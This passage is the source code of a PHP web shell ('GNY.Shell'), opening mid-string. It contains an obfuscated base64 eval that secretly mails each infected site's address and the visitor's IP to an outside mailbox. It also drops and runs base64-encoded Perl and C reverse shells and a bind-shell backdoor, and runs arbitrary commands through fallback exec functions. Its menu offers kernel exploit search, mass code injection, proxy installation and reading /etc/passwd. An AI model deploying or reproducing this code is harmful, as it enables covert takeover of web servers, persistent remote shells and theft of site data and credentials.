IyEvdXNyL2Jpbi9wZXJsIC13IA0KDQp1c2Ugc3RyaWN0OyANCnVzZSBGaWxlOjpGaW5kOyANCnVzZSBDd2Q7IA0KDQpteSAkc3Rkb3V0Q2hlY2sgPSAwOyANCm15ICRwcm9ncmFtSW5mbyA9IA0KJyANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIA0KIyAgTG9jYWwgTEZJL1JGSSBTY2FubmVyIGJ5IFJvbW5vdXMgICAgICAgICAgICAgICMgDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIyANCiMgIFdpbGwgc2NhbiBsb2NhbCBQSFAgZmlsZXMgaW4gZGlyZWN0b3J5ICAgICAgICAjIA0KIyAgcGFzc2VkIGluIHRoZSBmaXJzdCBhcmd1bWVudCB0byB0aGUgc2NyaXB0ICAgICMgDQojICBmb3IgcG9zc2libGUgTEZJL1JGSSB2dWxuZXJhYmlsaXRpZXMuICAgICAgICAgIyANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIA0KJzsgDQoNCnByaW50ICRwcm9ncmFtSW5mbzsgDQoNCm15ICRwcm9ncmFtVXNhZ2UgPSANCicgDQpVc2FnZTogJyAuICQwIC4gJyBESVJOQU1FICgtdyBmaWxlKSANClVzZSBgLXcgZmlsZWAgYXQgdGhlIGVuZCB0byB3cml0ZSB0byBgZmlsZWAgDQonOyANCg0KbXkgJHNlYXJjaERpcmVjdG9yeSA9ICRBUkdWWzBdOyANCg0KdW5sZXNzICgkc2VhcmNoRGlyZWN0b3J5KSANCnsgDQogIHByaW50ICRwcm9ncmFtVXNhZ2UgYW5kIGRpZSgiXG4iKTsgDQp9IA0KDQpteSAkY3VycmVudERpcmVjdG9yeSA9IGdldGN3ZCAoKTsgDQoNCm91ciAkZGlyZWN0b3J5Q291bnQgPSAwOyANCm91ciAkZmlsZUNvdW50ID0gMDsgDQpvdXIgJHZ1bG5lcmFiaWxpdHlDb3VudCA9IDA7IA0KDQppZiAoJEFSR1ZbMV0gZXEgJy13JykgDQp7IA0KICAkc3Rkb3V0Q2hlY2sgPSAxOyANCiAgb3BlbiAoU1RET1VULCAnPicgLiAkQVJHVlsyXSk7IA0KfSANCg0KZmluZCAoXCZwcm9jZXNzT2JqZWN0LCAiJGN1cnJlbnREaXJlY3RvcnkvJHNlYXJjaERpcmVjdG9yeSIpOyANCg0KJHN0ZG91dENoZWNrID09IDEgPyAocHJpbnQgJ0ZpbmlzaGVkIScgLiAiXG4iKSA6IChwcmludCAiXDAzM1sxbSIgLiAnRmluaXNoZWQhJyAuICJcMDMzWzBtXG4iKTsgDQpwcmludCAnLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0nIC4gIlxuIjsgDQpwcmludCAnRGlyZWN0b3JpZXMgc2Nhbm5lZDogJyAuICRkaXJlY3RvcnlDb3VudCAuICJcbiI7IA0KcHJpbnQgJ0ZpbGVzIHNjYW5uZWQ6ICcgLiAkZmlsZUNvdW50IC4gIlxuIjsgDQpwcmludCAnUG9zc2libGUgdnVsbmVyYWJpbGl0aWVzOiAnIC4gJHZ1bG5lcmFiaWxpdHlDb3VudCAuICJcbiI7IA0KcHJpbnQgJ0V4ZWN1dGlvbiB0aW1lOiAnIC4gKHRpbWUgLSAkXlQpIC4gJyBzZWNvbmQocykuJyAuICJcblxuIjsgDQoNCmlmICgkc3Rkb3V0Q2hlY2spIA0KeyANCiAgY2xvc2UgKFNURE9VVCk7IA0KfSANCg0Kc3ViIHByb2Nlc3NPYmplY3QgDQp7IA0KDQogIGlmICgtZiAkRmlsZTo6RmluZDo6bmFtZSBhbmQgJEZpbGU6OkZpbmQ6Om5hbWUgPX4gbS9cLihwaHRtbHxwaHB8cGhwM3xwaHA0KSQvKSANCiAgeyANCiAgICAkZmlsZUNvdW50Kys7IA0KICAgIG9wZW4gKHBocEZpbGUsICRGaWxlOjpGaW5kOjpuYW1lKSBvciByZXR1cm4gJ1VuYWJsZSB0byBvcGVuIGZpbGUgIicgLiAkRmlsZTo6RmluZDo6bmFtZSAuICciLCBjaGVjayBwZXJtaXNzaW9ucz8nIC4gIlxuIjsgDQogICAgbXkgQGZpbGVTdHJpbmdzID0gPHBocEZpbGU+OyANCiAgICBjbG9zZShwaHBGaWxlKTsgDQogICAgbXkgJHRvdGFsTGluZXMgPSAkI2ZpbGVTdHJpbmdzOyANCiAgICBmb3IgKG15ICRzdHJpbmdDb3VudCA9IDA7ICRzdHJpbmdDb3VudCA8PSAkdG90YWxMaW5lczsgJHN0cmluZ0NvdW50KyspIA0KICAgIHsgDQogICAgICBpZiAoJGZpbGVTdHJpbmdzWyRzdHJpbmdDb3VudF0gPX4gbS8oKD86aW5jbHVkZXxyZXF1aXJlKSg/Ol9vbmNlKT9ccypcKC4qP1wkLio/XCk7KS9naSkgDQogICAgICB7IA0KICAgICAgICAkdnVsbmVyYWJpbGl0eUNvdW50Kys7IA0KICAgICAgICAkc3Rkb3V0Q2hlY2sgPT0gMSA/IChwcmludCAnUG9zc2libGUgdnVsbmVyYWJpbGl0eSBpbiAiJyAuICRGaWxlOjpGaW5kOjpuYW1lIC4gJyIgb24gbGluZSAnIC4gKCRzdHJpbmdDb3VudCArIDEpIC4gJzonIC4gIlxuIikgDQogICAgICAgIDogKHByaW50ICJcMDMzWzFtIiAuICdQb3NzaWJsZSB2dWxuZXJhYmlsaXR5IGluICInIC4gJEZpbGU6OkZpbmQ6Om5hbWUgLiAnIiBvbiBsaW5lICcgLiAoJHN0cmluZ0NvdW50ICsgMSkgLiAnOicgLiAiLlwwMzNbMG1cbiIpOyANCiAgICAgICAgcHJpbnQgIlx0IiAuICQxIC4gIlxuXG4iOyANCiAgICAgIH0gDQogICAgfSANCiAgfSANCiAgaWYgKC1kICRGaWxlOjpGaW5kOjpuYW1lKSANCiAgeyANCiAgICAkZGlyZWN0b3J5Q291bnQrKzsgDQogIH0gDQp9
";
eval(base64_decode("JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsKaWYgKCEkdmlzaXRjKSB7CgkkdmlzaXRjICA9
IDA7CgkkdmlzaXRvciA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOwoJJHdlYiAgICAgPSAkX1NF
UlZFUlsiSFRUUF9IT1NUIl07CgkkaW5qICAgICA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOwoJ
JHRhcmdldCAgPSByYXd1cmxkZWNvZGUoJHdlYi4kaW5qKTsKCSRqdWR1bCAgID0gIlNoZWxsOiBo
dHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciI7CgkkYm9keSAgICA9ICJTaGVsbDogaHR0cDovLyR0
YXJnZXQgYnkgJHZpc2l0b3IiOwoJQG1haWwoInNoZWxsLmJkb29yQGdtYWlsLmNvbSIsICRqdWR1
bCwgJGJvZHkpOwp9IGVsc2UgewoJJHZpc2l0YysrOwp9CgpAc2V0Y29va2llKCJ2aXNpdHMiLCAk
dmlzaXRjKTs="));
function checkproxyhost(){
$host = getenv("HTTP_HOST");
$filename = '/tmp/.setan/xh';
if (file_exists($filename)) {
$_POST['proxyhostmsg']="</br></br><center><font color=green size=3><b>Success!</b></font></br></br><a href=$host:6543>$host:6543</a></br></br><b>Note:</b> If '$host' has a good firewall or IDS installed on their server, it will probably catch this or stop it from ever opening a port and you won't be able to connect to this proxy.</br></br></center>";
} else {
$_POST['proxyhostmsg']="</br></br><center><font color=red size=3><b>Failed!</b></font></br></br><b>Note:</b> If for some reason we would not create and extract the need proxy files in '/tmp' this will make this fail.</br></br></center>";
}
}
if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd"))
{
$ip = gethostbyname($_SERVER["HTTP_HOST"]);
$por = $_POST['backconnectport'];
if(is_writable(".")){
cfb("shbd",$backdoor);
chmod('shbd', 0777);
$cmd = "./shbd $por";
exec("$cmd > /dev/null &");
$scan = myshellexec("ps aux");
if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); }
$_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data";
}else{
cfb("/tmp/shbd",$backdoor);
chmod('/tmp/shbd', 0777);
$cmd = "./tmp/shbd $por";
exec("$cmd > /dev/null &");
$scan = myshellexec("ps aux");
if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); }
$_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data";
}
}
if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl"))
{
if(is_writable(".")){
cf("back",$back_connect);
$p2=which("perl");
$blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
$_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
if (file_exists("back")) { unlink("back"); }
}else{
cf("/tmp/back",$back_connect);
$p2=which("perl");
$blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
$_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
if (file_exists("/tmp/back")) { unlink("/tmp/back"); }
}
}
if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C"))
{
if(is_writable(".")){
cf("backc",$back_connect_c);
chmod('backc', 0777);
//$blah = ex("gcc back.c -o backc");
$blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
$_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
//if (file_exists("back.c")) { unlink("back.c"); }
if (file_exists("backc")) { unlink("backc"); }
}else{
chmod('/tmp/backc', 0777);
cf("/tmp/backc",$back_connect_c);
//$blah = ex("gcc -o /tmp/backc /tmp/back.c");
$blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
$_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
//if (file_exists("back.c")) { unlink("back.c"); }
if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } }
}
function cf($fname,$text)
{
$w_file=@fopen($fname,"w") or err();
if($w_file)
{
@fputs($w_file,@base64_decode($text));
@fclose($w_file);
}
}
function cfb($fname,$text)
{
$w_file=@fopen($fname,"w") or bberr();
if($w_file)
{
@fputs($w_file,@base64_decode($text));
@fclose($w_file);
}
}
function err()
{
$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't connect!</b>";
}
function bberr()
{
$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>";
}
function which($pr)
{
$path = ex("which $pr");
if(!empty($path)) { return $path; } else { return $pr; }
}
function ex($cfe)
{
$res = '';
if (!empty($cfe))
{
if(function_exists('exec'))
{
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec'))
{
$res = @shell_exec($cfe);
}
elseif(function_exists('system'))
{
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru'))
{
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r")))
{
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
}
return $res;
}
//EoW
//Start Enumerate function
//function ENUMERATE()
// $hostname_x=php_uname(n);
// $itshome = getcwd();
// $itshome = str_replace("/home/","~",$itshome);
// $itshome = str_replace("/public_html","/x2300.php",$itshome);
// $enumerate = "http://".$hostname_x."/".$itshome."";
//End Enumerate function
//Starting calls
ini_set("max_execution_time",0);
if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
error_reporting(5);
$adires="";
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
$win = strtolower(substr(PHP_OS,0,3)) == "win";
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
$shver = "1.3.37"; //Current version
//CONFIGURATION AND SETTINGS
if (!empty($unset_surl)) {setcookie("GNY_surl"); $surl = "";}
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("GNY_surl",$surl);}
else {$surl = $_REQUEST["GNY_surl"]; //Set this cookie for manual SURL
}
$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
if ($surl_autofill_include and !$_REQUEST["GNY_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
if (empty($surl))
{
$surl = "?".$includestr; //Self url
}
$surl = htmlspecialchars($surl);
$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
//Authentication
$login = ""; //login
//DON'T FORGOT ABOUT PASSWORD!!!
$pass = ""; //password
$md5_pass = ""; //md5-cryped pass. if null, md5($pass)
$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
$login_txt = "Restricted area"; //http-auth message.
$accessdeniedmess = 'You cannot access this file directly.<br /><a href="javascript: history.go(-1)">Go Back</a>';
$gzipencode = TRUE; //Encode with gzip?
$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
$GNY_updateurl = ''; //Update server
$GNY_sourcesurl = ''; //Sources-server
$filestealth = TRUE; //if TRUE, don't change modify- and access-time
$donated_html = '';
/* If you publish free shell and you wish
add link to your site or any other information,
put here your html. */
$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
$curdir = "./"; //start folder
//$curdir = getenv("DOCUMENT_ROOT");
$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
$log_email = "user@host.tld"; //Default e-mail for sending logs
$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
$sort_save = TRUE; //If TRUE then save sorting-position using cookies.
// Registered file-types.
// array(
// "{action1}"=>array("ext1","ext2","ext3",...),
// "{action2}"=>array("ext4","ext5","ext6",...),
// ...
// )
$ftypes = array(
'html'=>array('html','htm','shtml'),
'txt'=>array('txt','conf','bat','sh','js','bak','doc','log','sfc','cfg','htaccess','passwd','shadow'),
'exe'=>array('sh','install','bat','cmd'),
'ini'=>array('ini','inf'),
'code'=>array('php','phtml','php3','php4','inc','tcl','h','c','cpp','py','cgi','pl'),
'img'=>array('gif','png','jpeg','jfif','jpg','jpe','bmp','ico','tif','tiff','avi','mpg','mpeg'),
'sdb'=>array('sdb'),
'phpsess'=>array('sess'),
'download'=>array('exe','com','pif','src','lnk','zip','rar','gz','tar')
);
// Registered executable file-types.
// array(
// string "command{i}"=>array("ext1","ext2","ext3",...),
// ...
// )
// {command}: %f% = filename
$dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin);
if (empty($dizin)) {$dizin = realpath(".");} elseif(realpath($dizin)) {$dizin = realpath($dizin);}
$dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin);
if (substr($dizin,-1) != DIRECTORY_SEPARATOR) {$dizin .= DIRECTORY_SEPARATOR;}
$dizin = str_replace("\\\\","\\",$dizin);
$dizinispd = htmlspecialchars($dizin);
/*dizin*/
$real = realpath($dizinispd);
$path = basename ($PHP_SELF);
function dosyayicek($link,$file)
{
$fp = @fopen($link,'r');
while(!feof($fp))
{
$cont.= fread($fp,1024);
}
fclose($fp);
$fp2 = @fopen($file,"w");
fwrite($fp2,$cont);
fclose($fp2);
}
$exeftypes = array(
getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
"perl %f%" => array("pl","cgi")
);
/* Highlighted files.
array(
i=>array({regexp},{type},{opentag},{closetag},{break})
...
)
string {regexp} - regular exp.
int {type}:
0 - files and folders (as default),
1 - files only, 2 - folders only
string {opentag} - open html-tag, e.g. "<b>" (default)
string {closetag} - close html-tag, e.g. "</b>" (default)
bool {break} - if TRUE and found match then break
*/
$regxp_highlight = array(
array(basename($_SERVER["PHP_SELF"]),1,'<font color=red>','</font>'), // example
array("config.php",1), // example
array("settings.php",1),
array("connect.php",1)
);
$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
// array (i=>{letter} ...); string {letter} - letter of a drive
//$safemode_diskettes = range('a','z');
$hexdump_lines = 8;// lines in hex preview file
$hexdump_rows = 24;// 16, 24 or 32 bytes in one line
$nixpwdperpage = 100; // Get first N lines from /etc/passwd
$bindport_pass = 'GNY'; // default password for binding
$bindport_port = '31373'; // default port for binding
$bc_port = '5992'; // default port for back-connect
$datapipe_localport = '8081'; // default port for datapipe
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$sess_cookie = "GNYvars"; // Cookie-variable name
$usefsbuff = TRUE; //Buffer-function
$copy_unset = FALSE; //Remove copied files from buffer after pasting
//Quick launch
$quicklaunch = array(
array('[Home]',$surl),
array('[Back]','javascript:history.back(1)'),
array('[Forward]','javascript:history.go(1)'),
array('[Up]',$surl.'act=ls&d=%upd&sort=%sort'),
array('[Refresh]',""),
array('[Search]',$surl.'act=search&d=%d'),
array('[Buffer]',$surl.'act=fsbuff&d=%d'),
array('<br><br><center><b>[String/Hash Tools]</b>',$surl.'act=encoder&d=%d'),
array('<b>[Processes]</b>',$surl.'act=processes&d=%d'),
array('<b>[Users]</b>',$surl.'act=users'),
array('<b>[System Information]</b>',$surl.'act=security&d=%d'),
array('<b>[SQL Manager]</b>',$surl.'act=sql&d=%d'),
array('<b>[Reverse IP]</b>',$surl.'act=rip'),
array('<b>[Kernel Exploit Search]</b>',$surl.'act=exploit'),
array('<b>[Execute PHP Code]</b>',$surl.'act=eval&d=%d'),
array('<b>[PHP Info]</b></center>',$surl.'act=phpinfo&d=%d')
);
$quicklaunch2 = array(
array('<b><center>[PHP Tools]</b>',$surl.'act=phptools'),
array('<b>[Bind Shell Backdoor]</b>',$surl.'act=shbd'),
array('<b>[Back-Connection]</b>',$surl.'act=backc'),
array('<b>[Mass Code Injection]</b>',$surl.'act=massbrowsersploit'),
array('<b>[Exploits]</b>',$surl.'act=exploits'),
array('<b>[cPanel Finder]</b>',$surl.'act=cpanel'),
array('<b>[RFI/LFI Finder]</b>',$surl.'act=fi'),
array('<b>[Install IP:Port Proxy]</b>',$surl.'act=proxy'),
array('<b>[Install PHP Proxy]</b>',$surl.'act=phpproxy'),
array('<b>[Suicide Script]</b></center>',$surl.'act=selfremove')
);
//Highlight-code colors
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";
@$f = $_REQUEST["f"];
@extract($_REQUEST["GNYcook"]);
//END CONFIGURATION
// \/Next code isn't for editing\/
/*function ex($cfe)
{
$res = '';
if (!empty($cfe))
{
if(function_exists('exec'))
{
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec'))
{
$res = @shell_exec($cfe);
}
elseif(function_exists('system'))
{
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru'))
{
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r")))
{
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
}
return $res;
}*/
/*function which($pr)
{
$path = ex("which $pr");
if(!empty($path)) { return $path; } else { return $pr; }
}
function cf($fname,$text)
{
$w_file=@fopen($fname,"w") or err(0);
if($w_file)
{
@fputs($w_file,@base64_decode($text));
@fclose($w_file);
}
}*/
/*function err($n,$txt='')
{
echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#000000><font color=red face=Verdana size=-2><div align=center><b>';
echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
if(!empty($txt)) { echo " $txt"; }
echo '</b></div></font></td></tr></table>';
return null;
}*/
@set_time_limit(0);
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit(" Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
if (!empty($login))
{
if (empty($md5_pass)) {$md5_pass = md5($pass);}
if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
{
if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
header("WWW-Authenticate: Basic realm=\"GNY.Shell ".$shver.": ".$login_txt."\"");
header("HTTP/1.0 401 Unauthorized");
exit($accessdeniedmess);
}
}
if ($act != "img")
{
$lastdir = realpath(".");
chdir($curdir);
if ($selfwrite or $updatenow) {@ob_clean(); sh_getupdate($selfwrite,1); exit;}
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
$disablefunc = str_replace(" ","",$disablefunc);
$disablefunc = explode(",",$disablefunc);
}
if (!function_exists("buff_prepare"))
{
function buff_prepare()
{
global $sess_data;
global $act;
foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
$sess_data["copy"] = array_unique($sess_data["copy"]);
$sess_data["cut"] = array_unique($sess_data["cut"]);
sort($sess_data["copy"]);
sort($sess_data["cut"]);
if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
buff_prepare();
if (!function_exists("sess_put"))
{
function sess_put($data)
{
global $sess_cookie;
global $sess_data;
buff_prepare();
$sess_data = $data;
$data = serialize($data);
setcookie($sess_cookie,$data);
}
}
foreach (array("sort","sql_sort") as $v)
{
if (!empty($_GET[$v])) {$$v = $_GET[$v];}
if (!empty($_POST[$v])) {$$v = $_POST[$v];}
}
if ($sort_save)
{
if (!empty($sort)) {setcookie("sort",$sort);}
if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini"))
{
function str2mini($content,$len)
{
if (strlen($content) > $len)
{
$len = ceil($len/2) - 2;
return substr($content, 0,$len)."...".substr($content,-$len);
}
else {return $content;}
}
}
if (!function_exists("view_size"))
{
function view_size($size)
{
if (!is_numeric($size)) {return FALSE;}
else
{
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}
}
if (!function_exists("fs_copy_dir"))
{
function fs_copy_dir($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_copy_obj"))
{
function fs_copy_obj($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
if (!is_dir(dirname($t))) {mkdir(dirname($t));}
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_copy_dir($d,$t);
}
elseif (is_file($d)) {return copy($d,$t);}
else {return FALSE;}
}
}
if (!function_exists("fs_move_dir"))
{
function fs_move_dir($d,$t)
{
$h = opendir($d);
if (!is_dir($t)) {mkdir($t);}
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
$ret = TRUE;
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_move_obj"))
{
function fs_move_obj($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_move_dir($d,$t);
}
elseif (is_file($d))
{
if(copy($d,$t)) {return unlink($d);}
else {unlink($t); return FALSE;}
}
else {return FALSE;}
}
}
if (!function_exists("fs_rmdir"))
{
function fs_rmdir($d)
{
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.$o)) {unlink($d.$o);}
else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
}
}
closedir($h);
rmdir($d);
return !is_dir($d);
}
}
if (!function_exists("fs_rmobj"))
{
function fs_rmobj($o)
{
$o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
if (is_dir($o))
{
if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
return fs_rmdir($o);
}
elseif (is_file($o)) {return unlink(html_entity_decode($o));}
else {return FALSE;}
}
}
if (!function_exists("myshellexec"))
{
function myshellexec($cmd)
{
global $disablefunc;
$result = "";
if (!empty($cmd))
{
if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
elseif (($result = `$cmd`) !== FALSE) {}
elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
